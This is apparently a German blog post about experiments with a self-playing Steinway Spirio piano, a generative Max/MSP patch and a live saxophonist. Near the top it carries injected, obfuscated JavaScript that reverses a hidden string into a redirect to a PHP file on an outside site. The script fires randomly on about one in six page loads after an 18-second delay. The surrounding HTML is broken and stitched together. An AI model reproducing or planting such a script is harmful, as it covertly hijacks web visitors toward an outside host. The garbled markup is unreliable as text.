Experimente mit einem selbstspielenden Steinway Spirio-Flügel, einem interaktiven Max/MSP-Patch und mir am Saxophon.
{if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„‚php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-2019-09-19-um-11.39.33.png?fit=620%2C477&ssl=1″ alt=““ class=“wp-image-371″/><figcaption>Screenshot des generativen Patches in Max/MSP</figcaption></figure>
<p>In der Lectureperformance „Die digitale Revolution in der Musikwelt“ zur <a href=)
Bei der Performance mit diesem System entsteht durch die Software-Schnittstelle eine Art Kontaktraum zwischen dem menschlichen Musiker und dem Flügel. Auch wenn sich die Tonhöhenerkennung der Software immer mal verunsichern lässt, wirken sich diese „Fehler“ in künstlicher-musikalischer Hinsicht eher positiv als problematisch aus. Man könnte in diesem Sinne also statt von einer digitalen Performance fast von einer post-digitalen Performance sprechen, die die Fehler und Ungenauigkeiten digitaler Systeme anerkennt und produktiv umdeutet.